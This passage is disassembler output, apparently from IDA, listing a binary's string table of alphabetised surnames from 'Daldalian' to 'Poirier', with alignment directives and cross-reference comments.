aDaldalian db 'Daldalian',0 align 4 aDaly db 'Daly',0 align 4 aDAmbra db 'D',27h,'Ambra',0 aDanieli db 'Danieli',0 aDante db 'Dante',0 align 4 aDapice db 'Dapice',0 align 4 aDArcangelo db 'D',27h,'arcangelo',0 aDas db 'Das',0 aDasgupta db 'Dasgupta',0 align 10h aDaskalu db 'Daskalu',0 aDavid db 'David',0 align 10h aDawkins db 'Dawkins',0 aDegennaro db 'DeGennaro',0 align 4 aDelapena db 'DeLaPena',0 align 10h aDelEnclos db 'del',27h,'Enclos',0 align 4 aDerousse db 'deRousse',0 align 4 aDebroff db 'Debroff',0 aDees db 'Dees',0 align 4 aDefeciani db 'Defeciani',0 align 4 aDelattre db 'Delattre',0 align 10h aDeleonRendon db 'Deleon-Rendon',0 align 10h aDelger db 'Delger',0 align 4 aDellAcqua db 'Dell',27h,'acqua',0 align 4 aDeming db 'Deming',0 align 4 aDempster db 'Dempster',0 align 4 aDemusz db 'Demusz',0 align 10h aDenault db 'Denault',0 aDenham db 'Denham',0 align 10h aDenison db 'Denison',0 aDesombre db 'Desombre',0 align 4 aDeutsch db 'Deutsch',0 aDFini db 'D',27h,'fini',0 align 4 aDicks db 'Dicks',0 align 4 aDiefenbach db 'Diefenbach',0 align 4 aDifabio db 'Difabio',0 aDifronzo db 'Difronzo',0 align 4 aDilworth db 'Dilworth',0 align 4 aDionysius db 'Dionysius',0 align 4 aDirksen db 'Dirksen',0 aDockery db 'Dockery',0 aDoherty db 'Doherty',0 aDonahue db 'Donahue',0 aDonner db 'Donner',0 align 4 aDoonan db 'Doonan',0 align 4 aDore db 'Dore',0 align 4 aDorf db 'Dorf',0 align 4 aDosi db 'Dosi',0 align 4 aDoty db 'Doty',0 align 4 aDoug db 'Doug',0 align 4 aDowsland db 'Dowsland',0 align 4 aDrinker db 'Drinker',0 aDSouza db 'D',27h,'souza',0 aDuffin db 'Duffin',0 align 10h aDurrett db 'Durrett',0 aDussault db 'Dussault',0 align 4 aDwyer db 'Dwyer',0 align 4 aEardley db 'Eardley',0 aEbeling db 'Ebeling',0 aEckel db 'Eckel',0 align 4 aEdley db 'Edley',0 align 4 aEdner db 'Edner',0 align 4 aEdward db 'Edward',0 align 4 aEickenhorst db 'Eickenhorst',0 aEliasson db 'Eliasson',0 align 4 aElmendorf db 'Elmendorf',0 align 10h aElmerick db 'Elmerick',0 align 4 aElvis db 'Elvis',0 align 4 aEncinas db 'Encinas',0 aEnyeart db 'Enyeart',0 aEppling db 'Eppling',0 aErbach db 'Erbach',0 align 4 aErdman db 'Erdman',0 align 4 aErdos db 'Erdos',0 align 4 aErez db 'Erez',0 align 4 aEspinoza db 'Espinoza',0 align 4 aEstes db 'Estes',0 align 10h aEtter db 'Etter',0 align 4 aEuripides db 'Euripides',0 align 4 aEverett db 'Everett',0 aFabbris db 'Fabbris',0 aFagan db 'Fagan',0 align 4 aFaioes db 'Faioes',0 align 4 aFalcoAcosta db 'Falco-Acosta',0 align 4 aFalorsi db 'Falorsi',0 aFaris db 'Faris',0 align 4 aFarone db 'Farone',0 align 4 aFarren db 'Farren',0 align 4 aFasso db 'Fasso',27h,0 align 4 aFates db 'Fates',0 align 4 aFeigenbaum db 'Feigenbaum',0 align 10h aFejzo db 'Fejzo',0 align 4 aFeldman db 'Feldman',0 aFernald db 'Fernald',0 aFernandes db 'Fernandes',0 align 4 aFerrante db 'Ferrante',0 align 10h aFerriell db 'Ferriell',0 align 4 aFeuer db 'Feuer',0 align 4 aFido db 'Fido',0 align 4 aField db 'Field',0 align 4 aFink db 'Fink',0 align 4 aFinkelstein db 'Finkelstein',0 aFinnegan db 'Finnegan',0 align 4 aFiorina db 'Fiorina',0 aFisk db 'Fisk',0 align 4 aFitzmaurice db 'Fitzmaurice',0 aFlier db 'Flier',0 align 4 aFlores db 'Flores',0 align 10h aFolks db 'Folks',0 align 4 aForester db 'Forester',0 align 4 aFortes db 'Fortes',0 align 4 aFortier db 'Fortier',0 aFossey db 'Fossey',0 align 4 aFossi db 'Fossi',0 align 4 aFrancisco db 'Francisco',0 align 10h aFranklinKenea db 'Franklin-Kenea',0 align 10h aFranz db 'Franz',0 align 4 aFrazierDavis db 'Frazier-Davis',0 align 4 aFreid db 'Freid',0 align 10h aFreundlich db 'Freundlich',0 align 4 aFried db 'Fried',0 align 4 aFriedland db 'Friedland',0 align 10h aFrisken db 'Frisken',0 aFrowiss db 'Frowiss',0 aFryberger db 'Fryberger',0 align 4 aFrye db 'Frye',0 align 4 aFujiiAbe db 'Fujii-Abe',0 align 10h aFuller db 'Fuller',0 align 4 aFurth db 'Furth',0 align 10h aFusaro db 'Fusaro',0 align 4 aGabrielli db 'Gabrielli',0 align 4 aGaggiotti db 'Gaggiotti',0 align 10h aGaleotti db 'Galeotti',0 align 4 aGalwey db 'Galwey',0 align 4 aGambini db 'Gambini',0 aGarfield db 'Garfield',0 align 4 aGarman db 'Garman',0 align 10h aGaronna db 'Garonna',0 aGeller db 'Geller',0 align 10h aGemberling db 'Gemberling',0 align 4 aGeorgi db 'Georgi',0 align 4 aGerrett db 'Gerrett',0 aGhorai db 'Ghorai',0 align 4 aGibbens db 'Gibbens',0 aGibson db 'Gibson',0 align 4 aGilbert db 'Gilbert',0 aGili db 'Gili',0 align 4 aGill db 'Gill',0 align 4 aGillispie db 'Gillispie',0 align 4 aGist db 'Gist',0 align 10h aGleason db 'Gleason',0 aGlegg db 'Glegg',0 align 10h aGlendon db 'Glendon',0 aGoldfarb db 'Goldfarb',0 align 4 aGoncalves db 'Goncalves',0 align 10h aGood db 'Good',0 align 4 aGoodearl db 'Goodearl',0 align 4 aGoody db 'Goody',0 align 4 aGozzi db 'Gozzi',0 align 4 aGravell db 'Gravell',0 aGreenberg db 'Greenberg',0 align 4 aGreenfeld db 'Greenfeld',0 align 4 aGriffiths db 'Griffiths',0 align 10h aGrigoletto db 'Grigoletto',0 align 4 aGrummell db 'Grummell',0 align 4 aGruner db 'Gruner',0 align 10h aGruppe db 'Gruppe',0 align 4 aGuenthart db 'Guenthart',0 align 4 aGunn db 'Gunn',0 align 4 aGuo db 'Guo',0 aHa db 'Ha',0 align 4 aHaar db 'Haar',0 align 4 aHackman db 'Hackman',0 aHackshaw db 'Hackshaw',0 align 10h aHaley db 'Haley',0 align 4 aHalkias db 'Halkias',0 aHallowell db 'Hallowell',0 align 4 aHalpert db 'Halpert',0 aHambarzumjan db 'Hambarzumjan',0 align 4 aHamer db 'Hamer',0 align 4 aHammerness db 'Hammerness',0 align 4 aHand db 'Hand',0 align 10h aHanssen db 'Hanssen',0 aHarding db 'Harding',0 aHargraves db 'Hargraves',0 align 4 aHarlow db 'Harlow',0 align 4 aHarrigan db 'Harrigan',0 align 10h aHartman db 'Hartman',0 aHartmann db 'Hartmann',0 align 4 aHartnett db 'Hartnett',0 align 10h aHarwell db 'Harwell',0 aHaviaras db 'Haviaras',0 align 4 aHawkes db 'Hawkes',0 align 4 aHayes db 'Hayes',0 align 4 aHaynes db 'Haynes',0 align 4 aHazlewood db 'Hazlewood',0 align 4 aHeermans db 'Heermans',0 align 4 aHeft db 'Heft',0 align 4 aHeiland db 'Heiland',0 aHellman db 'Hellman',0 aHellmiss db 'Hellmiss',0 align 4 aHelprin db 'Helprin',0 aHemphill db 'Hemphill',0 align 4 aHenery db 'Henery',0 align 4 aHenrichs db 'Henrichs',0 align 10h aHernandez db 'Hernandez',0 ; DATA XREF: ___:0043A704o align 4 aHerrera db 'Herrera',0 aHester db 'Hester',0 align 4 aHeubert db 'Heubert',0 aHeyeck db 'Heyeck',0 align 4 aHimmelfarb db 'Himmelfarb',0 align 4 aHind db 'Hind',0 align 10h aHirst db 'Hirst',0 align 4 aHitchcock db 'Hitchcock',0 align 4 aHoang db 'Hoang',0 align 4 aHock db 'Hock',0 align 4 aHoffer db 'Hoffer',0 align 4 aHoffman db 'Hoffman',0 aHokanson db 'Hokanson',0 align 10h aHokoda db 'Hokoda',0 align 4 aHolmes db 'Holmes',0 align 10h aHoloien db 'Holoien',0 aHolter db 'Holter',0 align 10h aHolway db 'Holway',0 align 4 aHolzman db 'Holzman',0 aHooker db 'Hooker',0 align 4 aHopkins db 'Hopkins',0 aHorsley db 'Horsley',0 aHoshida db 'Hoshida',0 aHostage db 'Hostage',0 aHottle db 'Hottle',0 align 10h aHoward db 'Howard',0 align 4 aHoy db 'Hoy',0 aHuey db 'Huey',0 align 4 aHuidekoper db 'Huidekoper',0 align 10h aHungerford db 'Hungerford',0 align 4 aHuntington db 'Huntington',0 align 4 aHupp db 'Hupp',0 ; DATA XREF: ___:0043A784o align 10h aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0043A788o align 4 aHutchings db 'Hutchings',0 ; DATA XREF: ___:0043A78Co align 4 aHyde db 'Hyde',0 ; DATA XREF: ___:0043A790o align 10h aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0043A794o align 4 aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0043A798o align 4 aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0043A79Co align 4 aInamura db 'Inamura',0 ; DATA XREF: ___:0043A7A0o aInniss db 'Inniss',0 ; DATA XREF: ___:0043A7A4o align 4 aIsaac db 'Isaac',0 ; DATA XREF: ___:0043A7A8o align 4 aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0043A7ACo align 4 aIsbill db 'Isbill',0 ; DATA XREF: ___:0043A7B0o align 10h aIsserman db 'Isserman',0 ; DATA XREF: ___:0043A7B4o align 4 aIyer db 'Iyer',0 ; DATA XREF: ___:0043A7B8o align 4 aJacenko db 'Jacenko',0 ; DATA XREF: ___:0043A7BCo aJackson db 'Jackson',0 ; DATA XREF: ___:0043A7C0o aJagers db 'Jagers',0 ; DATA XREF: ___:0043A7C4o align 4 aJagger db 'Jagger',0 ; DATA XREF: ___:0043A7C8o align 4 aJagoe db 'Jagoe',0 ; DATA XREF: ___:0043A7CCo align 4 aJain db 'Jain',0 ; DATA XREF: ___:0043A7D0o align 4 aJamil db 'Jamil',0 ; DATA XREF: ___:0043A7D4o align 4 aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0043A7D8o align 4 aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0043A7DCo align 4 aJarrell db 'Jarrell',0 ; DATA XREF: ___:0043A7E0o aJay db 'Jay',0 ; DATA XREF: ___:0043A7E4o aJeffers db 'Jeffers',0 ; DATA XREF: ___:0043A7E8o aJellis db 'Jellis',0 ; DATA XREF: ___:0043A7ECo align 10h aJenkins db 'Jenkins',0 ; DATA XREF: ___:0043A7F0o aJespersen db 'Jespersen',0 ; DATA XREF: ___:0043A7F4o align 4 aJewett db 'Jewett',0 ; DATA XREF: ___:0043A7F8o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0043A7FCo aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0043A800o align 4 aJohns db 'Johns',0 ; DATA XREF: ___:0043A804o align 4 aJolly db 'Jolly',0 ; DATA XREF: ___:0043A808o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0043A80Co align 10h aJucks db 'Jucks',0 ; DATA XREF: ___:0043A810o align 4 aJuliano db 'Juliano',0 ; DATA XREF: ___:0043A814o aJulious db 'Julious',0 ; DATA XREF: ___:0043A818o aKabbash db 'Kabbash',0 ; DATA XREF: ___:0043A81Co aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0043A820o align 4 aKafadar db 'Kafadar',0 ; DATA XREF: ___:0043A824o aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0043A828o aKaligian db 'Kaligian',0 ; DATA XREF: ___:0043A82Co align 4 aKalil db 'Kalil',0 ; DATA XREF: ___:0043A830o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0043A834o align 10h aKalman db 'Kalman',0 ; DATA XREF: ___:0043A838o align 4 aKamel db 'Kamel',0 ; DATA XREF: ___:0043A83Co align 10h aKangis db 'Kangis',0 ; DATA XREF: ___:0043A840o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0043A844o align 4 aKassower db 'Kassower',0 ; DATA XREF: ___:0043A848o align 10h aKasten db 'Kasten',0 ; DATA XREF: ___:0043A84Co align 4 aKawachi db 'Kawachi',0 ; DATA XREF: ___:0043A850o aKee db 'Kee',0 ; DATA XREF: ___:0043A854o aKeenan db 'Keenan',0 ; DATA XREF: ___:0043A858o align 4 aKeepper db 'Keepper',0 ; DATA XREF: ___:0043A85Co aKeith db 'Keith',0 ; DATA XREF: ___:0043A860o align 4 aKelker db 'Kelker',0 ; DATA XREF: ___:0043A864o align 4 aKelsey db 'Kelsey',0 ; DATA XREF: ___:0043A868o align 4 aKempton db 'Kempton',0 ; DATA XREF: ___:0043A86Co aKemsley db 'Kemsley',0 ; DATA XREF: ___:0043A870o aKendall db 'Kendall',0 ; DATA XREF: ___:0043A874o aKerry db 'Kerry',0 ; DATA XREF: ___:0043A878o align 4 aKeul db 'Keul',0 ; DATA XREF: ___:0043A87Co align 4 aKhong db 'Khong',0 ; DATA XREF: ___:0043A880o align 4 aKimmel db 'Kimmel',0 ; DATA XREF: ___:0043A884o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: ___:0043A888o aKimura db 'Kimura',0 ; DATA XREF: ___:0043A88Co align 4 aKindall db 'Kindall',0 ; DATA XREF: ___:0043A890o aKinsley db 'Kinsley',0 ; DATA XREF: ___:0043A894o aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0043A898o align 4 aKirscht db 'Kirscht',0 ; DATA XREF: ___:0043A89Co aKittridge db 'Kittridge',0 ; DATA XREF: ___:0043A8A0o align 4 aKleckner db 'Kleckner',0 ; DATA XREF: ___:0043A8A4o align 4 aKleiman db 'Kleiman',0 ; DATA XREF: ___:0043A8A8o aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0043A8ACo aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0043A8B0o align 4 aKling db 'Kling',0 ; DATA XREF: ___:0043A8B4o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0043A8B8o aKlint db 'Klint',0 ; DATA XREF: ___:0043A8BCo align 10h aKnuff db 'Knuff',0 ; DATA XREF: ___:0043A8C0o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: ___:0043A8C4o aKoch db 'Koch',0 ; DATA XREF: ___:0043A8C8o align 4 aKohn db 'Kohn',0 ; DATA XREF: ___:0043A8CCo align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0043A8D0o align 4 aKommer db 'Kommer',0 ; DATA XREF: ___:0043A8D4o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0043A8D8o align 10h aKonrad db 'Konrad',0 ; DATA XREF: ___:0043A8DCo align 4 aKool db 'Kool',0 ; DATA XREF: ___:0043A8E0o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0043A8E4o align 4 aKotter db 'Kotter',0 ; DATA XREF: ___:0043A8E8o align 4 aKovaks db 'Kovaks',0 ; DATA XREF: ___:0043A8ECo align 4 aKraemer db 'Kraemer',0 ; DATA XREF: ___:0043A8F0o aKrailo db 'Krailo',0 ; DATA XREF: ___:0043A8F4o align 4 aKrasney db 'Krasney',0 ; DATA XREF: ___:0043A8F8o aKraus db 'Kraus',0 ; DATA XREF: ___:0043A8FCo align 4 aKroemer db 'Kroemer',0 ; DATA XREF: ___:0043A900o aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0043A904o aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0043A908o aKumar db 'Kumar',0 ; DATA XREF: ___:0043A90Co align 4 aKusman db 'Kusman',0 ; DATA XREF: ___:0043A910o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0043A914o align 10h aLa db 'La',0 ; DATA XREF: ___:0043A918o align 4 aLabunka db 'Labunka',0 ; DATA XREF: ___:0043A91Co aLafler db 'Lafler',0 ; DATA XREF: ___:0043A920o align 4 aLaing db 'Laing',0 ; DATA XREF: ___:0043A924o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: ___:0043A928o align 4 aLandes db 'Landes',0 ; DATA XREF: ___:0043A92Co align 10h aLankes db 'Lankes',0 ; DATA XREF: ___:0043A930o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: ___:0043A934o align 4 aLanzit db 'Lanzit',0 ; DATA XREF: ___:0043A938o align 4 aLaserna db 'Laserna',0 ; DATA XREF: ___:0043A93Co aLashley db 'Lashley',0 ; DATA XREF: ___:0043A940o aLawless db 'Lawless',0 aLecar db 'Lecar',0 ; DATA XREF: ___:0043A945o align 4 aLecce db 'Lecce',0 align 4 aLeclercq db 'Leclercq',0 align 10h aLeite db 'Leite',0 align 4 aLenard db 'Lenard',0 align 10h aLEnclos db 'l',27h,'Enclos',0 align 4 aLesser db 'Lesser',0 align 4 aLessi db 'Lessi',0 align 4 aLiakos db 'Liakos',0 align 4 aLidano db 'Lidano',0 align 4 aLiem db 'Liem',0 align 4 aLight db 'Light',0 align 4 aLightfoot db 'Lightfoot',0 align 4 aLim db 'Lim',0 aLinares db 'Linares',0 aLinda db 'Linda',0 align 4 aLinder db 'Linder',0 align 4 aLine_0 db 'Line',0 align 4 aLinehan db 'Linehan',0 aLinzee db 'Linzee',0 align 4 aLippmann db 'Lippmann',0 align 4 aLipponen db 'Lipponen',0 align 4 aLittle db 'Little',0 align 4 aLitvak db 'Litvak',0 align 4 aLivernash db 'Livernash',0 align 10h aLivi db 'Livi',0 align 4 aLivolsi db 'Livolsi',0 aLizardo db 'Lizardo',0 aLocatelli db 'Locatelli',0 align 4 aLongworth db 'Longworth',0 align 10h aLoss db 'Loss',0 align 4 aLoveman db 'Loveman',0 aLowenstein db 'Lowenstein',0 align 4 aLoza db 'Loza',0 align 4 aLubin db 'Lubin',0 align 4 aLucas db 'Lucas',0 align 4 aLuciano db 'Luciano',0 aLuczkow db 'Luczkow',0 aLuecke db 'Luecke',0 align 4 aLunetta db 'Lunetta',0 aLuoma db 'Luoma',0 align 4 aLussier db 'Lussier',0 aLutcavage db 'Lutcavage',0 align 10h aLuzader db 'Luzader',0 aMa db 'Ma',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaceachern db 'Maceachern',0 align 10h aMacintyre db 'Macintyre',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMacy db 'Macy',0 align 4 aMadigan db 'Madigan',0 aMaggio db 'Maggio',0 align 4 aMahony db 'Mahony',0 align 4 aMaier db 'Maier',0 align 4 aMaineHershey db 'Maine-Hershey',0 align 4 aMaisano db 'Maisano',0 aMalatesta db 'Malatesta',0 align 10h aMaller db 'Maller',0 align 4 aMalova db 'Malova',0 align 10h aManalis db 'Manalis',0 aMandel db 'Mandel',0 align 10h aManganiello db 'Manganiello',0 aMantovan db 'Mantovan',0 align 4 aMarch_0 db 'March',0 align 10h aMarchbanks db 'Marchbanks',0 align 4 aMarcus db 'Marcus',0 align 4 aMargalit db 'Margalit',0 align 10h aMargetts db 'Margetts',0 align 4 aMarques db 'Marques',0 aMartinez db 'Martinez',0 align 10h aMartochio db 'Martochio',0 align 4 aMarton db 'Marton',0 align 4 aMarubini db 'Marubini',0 align 10h aMass db 'Mass',0 align 4 aMatalka db 'Matalka',0 aMatarazzo db 'Matarazzo',0 align 4 aMatsukata db 'Matsukata',0 align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0043AA84o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0043AA88o align 4 aMay_0 db 'May',0 aMazzali db 'Mazzali',0 aMazziotta db 'Mazziotta',0 align 10h aMcbride db 'Mcbride',0 aMccaffery db 'Mccaffery',0 align 4 aMccall db 'Mccall',0 align 4 aMcclearn db 'Mcclearn',0 align 4 aMcdowell db 'Mcdowell',0 align 4 aMcelroy db 'Mcelroy',0 aMcfadden db 'McFadden',0 align 4 aMcghee db 'Mcghee',0 align 10h aMcgoldrick db 'Mcgoldrick',0 align 4 aMcilroy db 'McIlroy',0 aMcintosh db 'Mcintosh',0 align 10h aMckenna db 'Mckenna',0 aMclane db 'Mclane',0 align 10h aMclaren db 'Mclaren',0 aMcnealy db 'Mcnealy',0 aMcnulty db 'Mcnulty',0 aMeccariello db 'Meccariello',0 aMemisoglu db 'Memisoglu',0 align 10h aMenzies db 'Menzies',0 aMerikoski db 'Merikoski',0 align 4 aMerlani db 'Merlani',0 aMerminod db 'Merminod',0 align 4 aMerseth db 'Merseth',0 aMerz db 'Merz',0 align 4 aMetelka db 'Metelka',0 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0043AAFCo align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0043AB00o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0043AB04o align 10h aMiddle db 'Middle',0 ; DATA XREF: ___:0043AB08o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0043AB0Co align 10h aMills db 'Mills',0 ; DATA XREF: ___:0043AB10o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0043AB14o align 10h aMini db 'Mini',0 ; DATA XREF: ___:0043AB18o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0043AB1Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0043AB20o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0043AB24o aMittal db 'Mittal',0 ; DATA XREF: ___:0043AB28o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0043AB2Co aModestino db 'Modestino',0 ; DATA XREF: ___:0043AB30o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0043AB34o aMohr db 'Mohr',0 ; DATA XREF: ___:0043AB38o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0043AB3Co align 4 aMonque db 'Monque',0 ; DATA XREF: ___:0043AB40o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0043AB44o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0043AB48o align 4 aMorani db 'Morani',0 ; DATA XREF: ___:0043AB4Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0043AB50o aMorrison db 'Morrison',0 ; DATA XREF: ___:0043AB54o align 10h aMorrow db 'Morrow',0 ; DATA XREF: ___:0043AB58o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0043AB5Co align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0043AB60o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0043AB64o align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0043AB68o align 10h aMotooka db 'Motooka',0 ; DATA XREF: ___:0043AB6Co aMudarri db 'Mudarri',0 ; DATA XREF: ___:0043AB70o aMuello db 'Muello',0 ; DATA XREF: ___:0043AB74o align 4 aMugnai db 'Mugnai',0 ; DATA XREF: ___:0043AB78o align 10h aMulkern db 'Mulkern',0 ; DATA XREF: ___:0043AB7Co aMulroy db 'Mulroy',0 ; DATA XREF: ___:0043AB80o align 10h aMumford db 'Mumford',0 ; DATA XREF: ___:0043AB84o aMussachio db 'Mussachio',0 ; DATA XREF: ___:0043AB88o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0043AB8Co align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0043AB90o align 4 aNardi db 'Nardi',0 ; DATA XREF: ___:0043AB94o align 10h aNardone db 'Nardone',0 ; DATA XREF: ___:0043AB98o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0043AB9Co aNayduch db 'Nayduch',0 ; DATA XREF: ___:0043ABA0o aNelson db 'Nelson',0 ; DATA XREF: ___:0043ABA4o align 10h aNenna db 'Nenna',0 ; DATA XREF: ___:0043ABA8o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0043ABACo align 10h aNeuman db 'Neuman',0 ; DATA XREF: ___:0043ABB0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0043ABB4o aNewlin db 'Newlin',0 ; DATA XREF: ___:0043ABB8o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0043ABBCo align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0043ABC0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0043ABC4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0043ABC8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0043ABCCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0043ABD0o align 10h aNotman db 'Notman',0 ; DATA XREF: ___:0043ABD4o align 4 aNuzum db 'Nuzum',0 ; DATA XREF: ___:0043ABD8o align 10h aOcougne db 'Ocougne',0 ; DATA XREF: ___:0043ABDCo aOgata db 'Ogata',0 ; DATA XREF: ___:0043ABE0o align 10h aOh db 'Oh',0 ; DATA XREF: ___:0043ABE4o align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0043ABE8o aOldford db 'Oldford',0 ; DATA XREF: ___:0043ABECo aOlsen db 'Olsen',0 ; DATA XREF: ___:0043ABF0o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0043ABF4o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0043ABF8o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0043ABFCo align 4 aOman db 'Oman',0 ; DATA XREF: ___:0043AC00o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0043AC04o aOpel db 'Opel',0 ; DATA XREF: ___:0043AC08o align 4 aOray db 'Oray',0 ; DATA XREF: ___:0043AC0Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0043AC10o aOrsi db 'Orsi',0 ; DATA XREF: ___:0043AC14o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0043AC18o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0043AC1Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0043AC20o align 4 aOtten db 'Otten',0 ; DATA XREF: ___:0043AC24o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0043AC28o aOvid db 'Ovid',0 ; DATA XREF: ___:0043AC2Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0043AC30o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0043AC34o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0043AC38o align 4 aPalepu db 'Palepu',0 ; DATA XREF: ___:0043AC3Co align 10h aPallara db 'Pallara',0 ; DATA XREF: ___:0043AC40o aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0043AC44o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0043AC48o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0043AC4Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0043AC50o align 4 aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0043AC54o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0043AC58o aParris db 'Parris',0 ; DATA XREF: ___:0043AC5Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0043AC60o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0043AC64o align 10h aPatefield db 'Patefield',0 ; DATA XREF: ___:0043AC68o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0043AC6Co aPattullo db 'Pattullo',0 ; DATA XREF: ___:0043AC70o align 10h aPavetti db 'Pavetti',0 ; DATA XREF: ___:0043AC74o aPavlon db 'Pavlon',0 ; DATA XREF: ___:0043AC78o align 10h aPawloski db 'Pawloski',0 ; DATA XREF: ___:0043AC7Co align 4 aPaynter db 'Paynter',0 ; DATA XREF: ___:0043AC80o aPeabody db 'Peabody',0 ; DATA XREF: ___:0043AC84o aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0043AC88o align 4 aPederson db 'Pederson',0 ; DATA XREF: ___:0043AC8Co align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0043AC90o aPenny db 'Penny',0 ; DATA XREF: ___:0043AC94o align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0043AC98o aPerko db 'Perko',0 ; DATA XREF: ___:0043AC9Co align 4 aPerlak db 'Perlak',0 ; DATA XREF: ___:0043ACA0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0043ACA4o aPerna db 'Perna',0 ; DATA XREF: ___:0043ACA8o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0043ACACo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0043ACB0o align 10h aPeters db 'Peters',0 ; DATA XREF: ___:0043ACB4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0043ACB8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0043ACBCo align 10h aPettit db 'Pettit',0 ; DATA XREF: ___:0043ACC0o align 4 aPfister db 'Pfister',0 ; DATA XREF: ___:0043ACC4o aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0043ACC8o aPinot db 'Pinot',0 ; DATA XREF: ___:0043ACCCo align 10h aPlancon db 'Plancon',0 ; DATA XREF: ___:0043ACD0o aPlant db 'Plant',0 ; DATA XREF: ___:0043ACD4o align 10h aPlasket db 'Plasket',0 ; DATA XREF: ___:0043ACD8o aPlous db 'Plous',0 ; DATA XREF: ___:0043ACDCo align 10h aPo db 'Po',0 ; DATA XREF: ___:0043ACE0o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0043ACE4o align 10h aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0043ACE8o align 4 aPointer db 'Pointer',0 ; DATA XREF: ___:0043ACECo aPoirier db 'Poirier',0 